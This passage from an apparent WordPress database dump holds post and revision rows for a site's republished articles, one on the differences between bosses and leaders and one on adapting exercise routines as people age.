/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She added that good leaders are genuine and loyal, setting an example for their company. “If you lack passion or motivation, odds are your team will too. Don’t be afraid to be human – be real and express your emotions to connect with your workers.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are leaders born or made?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The discussion about whether leadership is an innate trait or something that can be learned spans decades. While there’s extensive research about whether leaders are born or made, the general consensus is that there’s truth to both sides. While some natural abilities – like being collaborative, intelligent, charismatic and compassionate – help professionals emerge as managers, training and experience can transform someone into a true leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many traits, including stress resistance, the ability to delegate, being responsible and having a respectful management style, can and should be trained and learned.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to train to be a leader</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are some of the many ways to grow proactively as a leader:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Explore management theories.</strong> One way to become a better leader is by consulting management books and exploring management theories. You can evaluate different management styles and select one that suits you and will benefit your team. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find a coach.</strong> Another way to improve your leadership skills is by enrolling in a coaching program. A good career coach will help you identify problem areas and employ thought-provoking strategies to help you develop personally and professionally. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find (and become) a mentor.</strong>&nbsp;Unlike a coach, who is usually with you for a short time with a clear agenda in mind, a mentorship relationship is long term. While a mentor can help you, being a mentor can also help improve your leadership skills.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>To find a mentor, try exploring your professional network and ask for recommendations. Alternatively, turn to peer mentoring, which relaxes the traditionally rigid lines between a mentor and mentee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a good boss or leader, incorporate a few key strategies into your behavior, including thoughtfulness, communication and setting clear expectations for your employees.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Be thoughtful.</strong>&nbsp;A good leader conducts their decision-making process based on the team’s and company’s best interests. Gosnell recommends treating your employees with thoughtfulness. “Leaders who lead for impact think first of their followers. They know that if they are doing what is in the best interest of their followers, it will bring great results for the followers and the organization.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Communicate and listen.</strong> Leaders should also incorporate good communication by listening to their teams. Gosnell said that a listening leader will hear how to make an organization better through their team’s words. “Listening leaders grow in influence and impact, while those who neglect to listen to their team will struggle with disengaged employees who won’t listen. A leader who wants to be listened to should practice listening to their people.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Set clear expectations.</strong> Whether you see yourself as a boss or a leader, Andrews said, the key to your success is your staff seeing you as fair in your approach toward them. Set fair, clear employee expectations and be consistent in your manners so your staff knows what they can expect from you. “This is essential in the workplace, as one of the greatest causes of employee stress is not knowing what to expect from their manager,” Andrews said. “Frequent changes in focus and conflicting priorities will leave staff feeling anxious. However, effective communication and a clear goal will ensure that teams all pull in the same direction.”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are a team leader’s responsibilities?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Team leaders are responsible for more than just delegating tasks and monitoring employees. They are responsible for the success of the whole team and the success of each team member. An effective team leader should understand each member’s strengths, weaknesses and goals, and utilize their talents accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eisinger created a brief checklist for leaders when they’re determining their primary responsibilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Ensure the team has what they need to get the job done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide challenging, meaningful work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Be accessible and approachable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Hold regular one-on-one meetings with each direct report that focus on career development.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Measure performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide regular, ongoing feedback, including performance reviews. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you do not currently implement all of these responsibilities in your work duties, don’t worry. Focus on improving and seek feedback from your team about what you can do better. According to Eisinger, most good leaders start out as bosses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the work I do, it seems to be an inevitable transition point for people as they first step into a supervisory role and develop their leadership capabilities,” she said. “It’s normal to exhibit some of these ‘boss’ characteristics. However, it is critical to recognize one’s unique challenges and work to overcome them so they can become leaders.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are you a leader or a boss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it can be a strenuous journey from boss to true leader, the rewards are well worth the effort. Being a thoughtful leader can increase your team’s productivity, motivation and loyalty, and ensure your company’s success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.businessnewsdaily.com/1404-characteristics-good-boss.html\">click here.</a></p>\n<!-- /wp:paragraph -->','Are You a True Leader or Just a Boss?','','publish','closed','closed','','are-you-a-true-leader-or-just-a-boss','','','2024-05-20 03:31:27','2024-05-20 03:31:27','',0,'https://smartinsurance.tips/?p=4067',0,'post','',0),(4068,1,'2024-05-20 03:26:41','2024-05-20 03:26:41','','Untitled-10','','inherit','closed','closed','','untitled-10-3','','','2024-05-20 03:26:41','2024-05-20 03:26:41','',4067,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-10.png',0,'attachment','image/png',0),(4069,1,'2024-05-20 03:31:25','2024-05-20 03:31:25','<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4068,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-4068\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Being promoted to a management role is a huge accomplishment, but many professionals find the responsibility more challenging than they imagined. Being someone’s boss doesn’t necessarily mean you’re a good leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Effective leadership is increasingly essential in the workplace, as more and more employees leave otherwise excellent companies over one resolvable element – bad bosses. According to a study by GoodHire, 82% of all surveyed professionals would potentially quit their job because of a bad boss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Even people who start out with less effective management skills can modify their behavior to become good leaders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the differences between a boss and a leader?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the father of modern management, Peter Drucker, above all else, all business managers must be leaders. But when many professionals step into management or supervisory roles, they wonder, “What are the qualities of a boss versus a leader?” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We spoke with leadership experts to discover five crucial differences between the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you read the following comparisons, reflect on your actions to determine where you fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Bosses command; leaders influence.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to Sue Andrews, business and HR consultant at KIS Finance, a key difference is that a boss’s authority comes from their position. In contrast, a leader’s authority comes from their ability to influence others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss is there to ensure that employees follow the rules of an organization, but a leader will encourage others to think for themselves to achieve the desired ends,” Andrews said. “A boss will need to give orders to instruct others what to do, but a leader can inspire others to find the best way forward, whilst motivating them to maximize their potential.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although subordinates follow bosses only because they have to, bosses can grow their influence through encouraging behavior, added Ken Gosnell, founder of CEO Experience. “You can grow your influence by caring for your team, listening to their thoughts and ideas, and sharing the ‘why’ behind the decisions and actions that you take. This is the second step in leadership, but it makes all the difference, and people will follow you because they want to, and not just because they have to.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Bosses explain; leaders inspire.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You shouldn’t just explain a task and leave it in your employee’s hands. According to Christine Macdonald, director of The Hub Events, a boss ensures you understand your work, while a leader supports and guides you through it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The biggest difference between a leader and a boss is that a good leader inspires people and makes them excited about their work,” she said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Success takes passion; without the desire to complete tasks, workers won’t be as driven to give their best performances. As their leader, you should motivate them by letting them know the importance of their work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Bosses discipline; leaders mentor.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees are human, and mistakes are to be expected. Who you are as a boss is evident in how you deal with mishaps. While bosses are more likely to use a reward-and-punishment system to discourage poor behavior, great leaders understand that employees benefit from encouragement and mentorship. If an employee performs well in a specific line of work, that strength should be recognized and mastered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“One key element of leadership is the ability to harness the talents of others to achieve a common goal,” Macdonald said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s essential to note each employee’s strengths and weaknesses and mentor them independently. Rather than attacking skill gaps, work to patch them by guiding employees through their shortcomings and building their confidence in new areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> To become a better mentor, listen, communicate, offer constructive feedback, delegate, and practice empathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Bosses delegate tasks; leaders delegate authority.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss focuses on their department’s objectives and stringently follows protocol to achieve those goals. They think for the short term, delegate tasks to their subordinates and tend to micromanage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Executive and leadership coach Christina J. Eisinger says a boss has key objectives to meet, while a leader sets the team’s long-term vision and uses it as “a key motivator.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss gets results by telling people what to do and is concerned with doing it right,” she said. “A leader is skilled at results by enabling their team to figure out what to do and is concerned with doing what is right.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Andrews added that leaders seek to drive commitment by setting an example for others to follow and inspire others by encouraging development. “They are comfortable delegating authority and avoid micromanaging, preferring to see others develop. Utilizing their excellent communication and negotiation skills, they will influence others for the overall benefit of the organization.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> According to the GoodHire survey, most U.S. workers are most irritated by a manager who is overbearing and micromanages – qualities that can significantly influence their decision to quit their job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bosses are above the team; leaders are part of the team.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss doesn’t take the time to get to know their employees as a leader does. Eisinger said that bosses view their team members as subordinates, while leaders let go of this hierarchical distinction and view their team members as equal contributors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a leader, it’s essential to facilitate positive relationships with your employees. Work with their needs and create a culture that encourages open communication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“By getting to know your team better, you’ll be able to understand how to explain your vision in a way that will really connect with each person,” Macdonald said. “This means you can personalize the way you motivate people.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She added that good leaders are genuine and loyal, setting an example for their company. “If you lack passion or motivation, odds are your team will too. Don’t be afraid to be human – be real and express your emotions to connect with your workers.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are leaders born or made?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The discussion about whether leadership is an innate trait or something that can be learned spans decades. While there’s extensive research about whether leaders are born or made, the general consensus is that there’s truth to both sides. While some natural abilities – like being collaborative, intelligent, charismatic and compassionate – help professionals emerge as managers, training and experience can transform someone into a true leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many traits, including stress resistance, the ability to delegate, being responsible and having a respectful management style, can and should be trained and learned.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to train to be a leader</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are some of the many ways to grow proactively as a leader:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Explore management theories.</strong> One way to become a better leader is by consulting management books and exploring management theories. You can evaluate different management styles and select one that suits you and will benefit your team. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find a coach.</strong> Another way to improve your leadership skills is by enrolling in a coaching program. A good career coach will help you identify problem areas and employ thought-provoking strategies to help you develop personally and professionally. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find (and become) a mentor.</strong>&nbsp;Unlike a coach, who is usually with you for a short time with a clear agenda in mind, a mentorship relationship is long term. While a mentor can help you, being a mentor can also help improve your leadership skills.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>To find a mentor, try exploring your professional network and ask for recommendations. Alternatively, turn to peer mentoring, which relaxes the traditionally rigid lines between a mentor and mentee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a good boss or leader, incorporate a few key strategies into your behavior, including thoughtfulness, communication and setting clear expectations for your employees.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Be thoughtful.</strong>&nbsp;A good leader conducts their decision-making process based on the team’s and company’s best interests. Gosnell recommends treating your employees with thoughtfulness. “Leaders who lead for impact think first of their followers. They know that if they are doing what is in the best interest of their followers, it will bring great results for the followers and the organization.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Communicate and listen.</strong> Leaders should also incorporate good communication by listening to their teams. Gosnell said that a listening leader will hear how to make an organization better through their team’s words. “Listening leaders grow in influence and impact, while those who neglect to listen to their team will struggle with disengaged employees who won’t listen. A leader who wants to be listened to should practice listening to their people.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Set clear expectations.</strong> Whether you see yourself as a boss or a leader, Andrews said, the key to your success is your staff seeing you as fair in your approach toward them. Set fair, clear employee expectations and be consistent in your manners so your staff knows what they can expect from you. “This is essential in the workplace, as one of the greatest causes of employee stress is not knowing what to expect from their manager,” Andrews said. “Frequent changes in focus and conflicting priorities will leave staff feeling anxious. However, effective communication and a clear goal will ensure that teams all pull in the same direction.”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are a team leader’s responsibilities?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Team leaders are responsible for more than just delegating tasks and monitoring employees. They are responsible for the success of the whole team and the success of each team member. An effective team leader should understand each member’s strengths, weaknesses and goals, and utilize their talents accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eisinger created a brief checklist for leaders when they’re determining their primary responsibilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Ensure the team has what they need to get the job done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide challenging, meaningful work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Be accessible and approachable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Hold regular one-on-one meetings with each direct report that focus on career development.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Measure performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide regular, ongoing feedback, including performance reviews. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you do not currently implement all of these responsibilities in your work duties, don’t worry. Focus on improving and seek feedback from your team about what you can do better. According to Eisinger, most good leaders start out as bosses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the work I do, it seems to be an inevitable transition point for people as they first step into a supervisory role and develop their leadership capabilities,” she said. “It’s normal to exhibit some of these ‘boss’ characteristics. However, it is critical to recognize one’s unique challenges and work to overcome them so they can become leaders.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are you a leader or a boss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it can be a strenuous journey from boss to true leader, the rewards are well worth the effort. Being a thoughtful leader can increase your team’s productivity, motivation and loyalty, and ensure your company’s success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.businessnewsdaily.com/1404-characteristics-good-boss.html\">click here.</a></p>\n<!-- /wp:paragraph -->','Are You a True Leader or Just a Boss?','','inherit','closed','closed','','4067-revision-v1','','','2024-05-20 03:31:25','2024-05-20 03:31:25','',4067,'https://smartinsurance.tips/?p=4069',0,'revision','',0),(4070,1,'2024-05-20 03:33:00','2024-05-20 03:33:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4071,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-4071\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In a recent study by the Centers for Disease Control and Prevention (CDC), it was discovered that more than 25% of adults located in the US do not move their bodies regularly. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is concerning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exercise is essential throughout each stage of our lives, for many reasons, but even more so as our bodies start to get older. The benefits of physical exercise for aging adults, in particular, are abundant – including body-moving motivators such as increased longevity of life, the chance to ward off organ disease, heart disease, and other health conditions, and amazingly, even the potential to minimize the risk of developing mind-crippling dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But how can we effectively adapt our exercise routines as we age? Stay with us as we discuss the critical steps older adults should take to maximize their physical health while getting older.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">CONSULT WITH YOUR DOCTOR: GETTING PROFESSIONAL MEDICAL ADVICE BEFORE STARTING A NEW EXERCISE PROGRAM</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keen to focus on your fitness as you start getting older? You likely have more time on your hands to exercise now, especially if you’ve just retired.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tempting as it is, though, try to take care in terms of launching into a new exercise program – you don’t want to injure yourself or cause strain to your aging joints.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As well as consulting with a qualified personal trainer before starting a new fitness regime, be sure to speak to your doctor. If you have a regular family doctor or family nurse practitioner, they should take an interest in following your endeavor to exercise. Before you take their advice though, be sure that they’ve completed the requisite medical qualification – such as an online FNP program, for example – so that you can feel at ease trusting your treating practitioners’ professional recommendations around exercising. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">BE REALISTIC: RE-ALIGNING OUR FITNESS GOALS AS WE AGE</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As we age, we need to be realistic about our continued ability to exercise. Our bodies are, unfortunately, unlikely to be able to move in the same ways they used to. With joint pain, back pain, and lower energy levels all coming into play, it’s no wonder we can’t quite hit the same fitness goals as when we were younger. Indeed, just some of the signs of physical decline in older age include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A reduction in our muscle mass, joint flexibility, and bone strength.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lower levels of stamina, strength, mobility, and endurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Less overall coordination and balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduced respiratory function.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Higher blood pressure and body fat percentage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Increased risk of cardiovascular disease, organ disease, and stroke.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This means that as we get older, we need to know our limits. If we’ve never hiked in our lives, our 50s and 60s may not be the time we decide we want to scale Mount Everest. Never weight trained? We may not be suitably placed to pick up a challenging new powerlifting routine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite this, though, it’s always fun to test out a different style of physical activity – within reason of course. Try a dance class, or perhaps low-impact yoga, or even reformer pilates. You’re never too old to get fit or to implement better routines to care for your health. If you do, your aging body will thank you for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EXERCISE – AN ESSENTIAL: THE OBSERVABLE IMPACT OF MOVEMENT ON OLDER ADULTS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Exercising regularly as an adult has a multitude of benefits. But regular exercise is not only helpful to maintain your physical fitness. Research has shown that it can also help keep your brain active. So – an important question – can physical exercise reduce the risk of dementia in senior citizens? Both debilitating and devastating, the crippling effects of dementia are distressing to watch unfold. So if we can find a way to avoid it developing in the first place – or at least, stave it off from happening at a less advanced age – why wouldn’t we follow through? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed, mature adults engaging in regular physical activity have been found to decrease their risk of developing the disease by as much as 25%. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this isn’t enough of a case for incorporating movement into our lives as we get older, we don’t know what is. If the answer is as simple as moving our bodies more frequently, it’s a no-brainer. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','Healthy Habits: How to Effectively Adapt Your Exercise Routine As You Age','','publish','closed','closed','','healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age','','','2024-05-20 03:33:02','2024-05-20 03:33:02','',0,'https://smartinsurance.tips/?p=4070',0,'post','',0),(4071,1,'2024-05-20 03:32:15','2024-05-20 03:32:15','','Untitled-11','','inherit','closed','closed','','untitled-11-4','','','2024-05-20 03:32:15','2024-05-20 03:32:15','',4070,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-11.png',0,'attachment','image/png',0),(4072,1,'2024-05-20 03:33:00','2024-05-20 03:33:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4071,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-4071\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In a recent study by the Centers for Disease Control and Prevention (CDC), it was discovered that more than 25% of adults located in the US do not move their bodies regularly. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is concerning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exercise is essential throughout each stage of our lives, for many reasons, but even more so as our bodies start to get older. The benefits of physical exercise for aging adults, in particular, are abundant – including body-moving motivators such as increased longevity of life, the chance to ward off organ disease, heart disease, and other health conditions, and amazingly, even the potential to minimize the risk of developing mind-crippling dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But how can we effectively adapt our exercise routines as we age? Stay with us as we discuss the critical steps older adults should take to maximize their physical health while getting older.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">CONSULT WITH YOUR DOCTOR: GETTING PROFESSIONAL MEDICAL ADVICE BEFORE STARTING A NEW EXERCISE PROGRAM</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keen to focus on your fitness as you start getting older? You likely have more time on your hands to exercise now, especially if you’ve just retired.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tempting as it is, though, try to take care in terms of launching into a new exercise program – you don’t want to injure yourself or cause strain to your aging joints.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As well as consulting with a qualified personal trainer before starting a new fitness regime, be sure to speak to your doctor. If you have a regular family doctor or family nurse practitioner, they should take an interest in following your endeavor to exercise. Before you take their advice though, be sure that they’ve completed the requisite medical qualification – such as an online FNP program, for example – so that you can feel at ease trusting your treating practitioners’ professional recommendations around exercising. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">BE REALISTIC: RE-ALIGNING OUR FITNESS GOALS AS WE AGE</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As we age, we need to be realistic about our continued ability to exercise. Our bodies are, unfortunately, unlikely to be able to move in the same ways they used to. With joint pain, back pain, and lower energy levels all coming into play, it’s no wonder we can’t quite hit the same fitness goals as when we were younger. Indeed, just some of the signs of physical decline in older age include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A reduction in our muscle mass, joint flexibility, and bone strength.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lower levels of stamina, strength, mobility, and endurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Less overall coordination and balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduced respiratory function.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Higher blood pressure and body fat percentage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Increased risk of cardiovascular disease, organ disease, and stroke.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This means that as we get older, we need to know our limits. If we’ve never hiked in our lives, our 50s and 60s may not be the time we decide we want to scale Mount Everest. Never weight trained? We may not be suitably placed to pick up a challenging new powerlifting routine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite this, though, it’s always fun to test out a different style of physical activity – within reason of course. Try a dance class, or perhaps low-impact yoga, or even reformer pilates. You’re never too old to get fit or to implement better routines to care for your health. If you do, your aging body will thank you for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EXERCISE – AN ESSENTIAL: THE OBSERVABLE 